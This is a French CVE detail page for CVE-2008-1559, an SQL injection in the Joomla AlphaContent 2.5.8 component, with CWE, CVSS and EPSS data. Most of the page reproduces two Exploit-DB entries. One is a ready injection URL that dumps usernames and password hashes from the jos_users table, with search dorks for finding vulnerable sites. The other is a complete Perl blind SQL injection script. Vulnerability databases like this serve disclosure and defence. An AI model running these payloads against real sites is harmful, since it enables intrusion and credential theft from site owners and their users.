CVE-2008-1559 : Détail

CVE-2008-1559

SQL Injection
A03-Injection
0.09%V3
Network
2008-03-31
15h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SQL injection vulnerability in the Bernard Gilly AlphaContent (com_alphacontent) 2.5.8 component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a view action to index.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 5310

Date de publication : 2008-03-24 23h00 +00:00
Auteur : cO2
EDB Vérifié : Yes

########################################## # # [ Joomla Component com_alphacontent SQL Injection ] # ########################################## [~] Vulnerability found by: cO2 [ Algeria Security Crew ] [~] Contact: c02[at]hotmail.de [~] Website: http://www.dzw0rm.ch [~] Greetings: to all hackers DZ ########################################## [~] ScriptName : 'Joomla' [~] ModuleName : 'AlphaContent' [~] Version() : '2.5.8 ' ########################################### # # DORK 1 : inurl: "com_alphacontent" # # DORK 2 : "AlphaContent 2.5.8 © 2005-2008 - visualclinic.fr" # ########################################### [+]Exploit : index.php?option=com_alphacontent&section=6&cat=15&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/* ########################################### [+] : you can see the password in 'Title' ########################################### side note: <name>alphacontent</name> <creationDate>25 Jul 2007</creationDate> <author>Bernard Gilly</author> <copyright>This component is released under the GNU/GPL License.</copyright> <authorEmail>contact@visualclinic.fr</authorEmail> <authorUrl>www.visualclinic.fr</authorUrl> <version>2.5.8</version> <description>Directory component with alphabetical indexes for Joomla's Content</description> <name>alphacontent</name> <creationDate>16 Sept 2006</creationDate> <author>Bernard Gilly</author> <copyright>This component is released under the GNU/GPL License.</copyright> <authorEmail>contact@visualclinic.fr</authorEmail> <authorUrl>www.visualclinic.fr</authorUrl> <version>2.5.4</version> <description>Directory component and alphabetical indexes for Mambo/Joomla's Content</description> # milw0rm.com [2008-03-25]
Exploit Database EDB-ID : 5512

Date de publication : 2008-04-26 22h00 +00:00
Auteur : cO2
EDB Vérifié : Yes

#!/usr/bin/perl #eSploit Framework - Inphex use Digest::MD5 qw(md5 md5_hex md5_base64); use LWP::UserAgent; use HTTP::Cookies; use Switch; $host_ = shift; $path_ = shift; $id_ = shift; $non_find = shift; #choose anything thats inside the article of id $column = "username"; #change if needet $table = "jos_users"; #change if needet print "usage: $0 http://host.com / 17 Following"; $info{'info'} = { "author" => ["cO2,Inphex"], "name" => ["Joomla com_alphacontent Blind SQL Injection"], "version" => [], "description" => ["This Script will exploit a Blind SQL Injection vulnerability in com_alphacontent\n"], "options" => { "agent" => "", "proxy" => "", "default_headers" => [ ["key","value"]], "timeout" => 2, "cookie" => { "cookie" => ["key=value"], }, }, "sending_options" => { "host" => $host_, "path" => $path_."index.php", "port" => 80, "method_a" => "SQL_INJECTION_BLIND", "attack" => { "option" => ["get","option","com_alphacontent"], "section" => ["get","section","3"], "task" => ["get","task","view"], "cat" => ["get","cat","3"], "sql" => ["get","id","".$id_."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),\$h,1)=CHAR(\$i)"], "regex" => [[$non_find]], }, }, }; &start($info{'info'},222); sub start { $a_ = shift; $id = shift; $get_dA = get_d_p_s("get"); $post_dA = get_d_p_s("post"); my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0); my $jj = 1; my $ii = 48; my $hh = 1; my $ppp = 0; my $s = shift; my $a = ""; my $res_p = ""; my $h = ""; ($h_host_h_xdsjaop,$h_path_h_xdsjaop,$h_port_h_xdsjaop,$method_m) = ($a_->{'sending_options'}{'host'},$a_->{'sending_options'}{'path'},$a_->{'sending_options'}{'port'},$a_->{'sending_options'}{'method_a'}); $ua = LWP::UserAgent->new; $ua->timeout($a_->{'options'}{'timeout'}); if ($a_->{'options'}{'proxy'}) { $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'}); } $agent = $a_->{'options'}{'agent'} || "Mozilla/5.0"; $ua->agent($agent); { while (($k,$v) = each(%{$a_})) { if ($k ne "options" && $k ne "sending_options") { foreach $r (@{$a_->{$k}}) { if ($a_->{$k}[0]) { print $k.":".$a_->{$k}[0]."\n"; } } } } foreach $j (@{$a_->{'options'}{'default_headers'}}) { $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]); $m++; } if ($a_->{'options'}{'cookie'}{'cookie'}[0]) { $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]); } } switch ($method_m) { case "attack" { &attack();} case "SQL_INJECTION_BLIND" { &sql_injection_blind();} case "REMOTE_COMMAND_EXECUTION" { &attack();} case "REMOTE_CODE_EXECUTION" {&attack();} case "REMOTE_FILE_INCLUSION" { &attack();} case "LOCAL_FILE_INCLUSION" { &attack(); } else { &attack(); } } sub attack { if ($post_dA eq "") { $method = "get"; } elsif ($post_dA ne "") { $method = "post"; } if ($method eq "get") { $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } elsif ($method eq "post") { $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA); ${$a_}{$id}{'content'} = $res_p; foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) { if (${$jj} ne "") { ${$a_}{$id}{'regex'}[$h] = ${$jj}; } $jj++; } $h++; } } } sub sql_injection_blind { syswrite STDOUT,$column.":"; while () { while ($ii <= 90) { if(check($ii,$hh) == 1) { syswrite STDOUT,lc(chr($ii)); $hh++; $chr = $chr.chr($ii); } $ii++; } push(@ffs,length($chr)); if (($#ffs -1) == $ffs) { print "\nFinished/Error\n"; exit; } $ii = 48; } } sub check($$) { $ii = shift; $hh = shift; if (get_d_p_s("post") ne "") { $method = "post"; } else { $method = "get";} if ($method eq "get") { $ppp++; $query = modify($get_dA,$ii,$hh); $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } elsif ($method eq "post") { $ppp++; $query_g = modify($get_dA,$ii,$hh); $query_p = modify($post_dA,$ii,$hh); $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p); foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) { if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) { return 1; } else { return 0; } $h++; } } } sub modify($$$) { $string = shift; $replace_by = shift; $replace_by1 = shift; if ($string !~/\$i/ && $string !~/\$h/) { print $string; } elsif ($string !~/\$i/) { $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } elsif ($string !~/\$h/) { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; return $string; } else { $f = substr($string,0,index($string,"\$i")); $e = substr($string,rindex($string,"\$i")+2); $string = $f.$replace_by.$e; $ff = substr($string,0,index($string,"\$h")); $ee = substr($string,rindex($string,"\$h")+2); $string = $ff.$replace_by1.$ee; return $string; } } sub get_d_p_s { $g_d_p_s = shift; $post_data = ""; $get_data = ""; $header_data = ""; %header_dA = (); while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}})) { if ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "get") { $method = "get"; push(@get,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "post") { $method = "post"; push(@post,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]); } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header") { $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2]; } $hp++; } $yy = $#get; while ($bb <= $#get) { $get_data .= $get[$yy]."&"; $bb++; $yy--; } $l = $#post; while ($k <= $#post) { $post_data .= $post[$l]."&"; $k++; $l--; } if ($g_d_p_s eq "get") { return $get_data; } elsif ($g_d_p_s eq "post") { return $post_data; } elsif ($g_d_p_s eq "header") { return %header_dA; } } sub get_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = $ua->get($h_host_h_xdsjaop.$h_path_h_xdsjaop); return $req->content; } sub post_data { $h_host_h_xdsjaop = shift; $h_path_h_xdsjaop = shift; $content_type = shift; $send = shift; %hash = get_d_p_s("header"); while (($u,$c) = each(%hash)) { $ua->default_headers->push_header($u => $c); } $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.$h_path_h_xdsjaop); $req->content_type($content_type); $req->content($send); $res = $ua->request($req); return $res->content; } } # milw0rm.com [2008-04-27]

Products Mentioned

Configuraton 0

Bernard_gilly>>Com_alphacontent >> Version 2.5.8

    Joomla>>Joomla\! >> Version *

    Références

    https://www.exploit-db.com/exploits/5310
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/28443
    Tags : vdb-entry, x_refsource_BID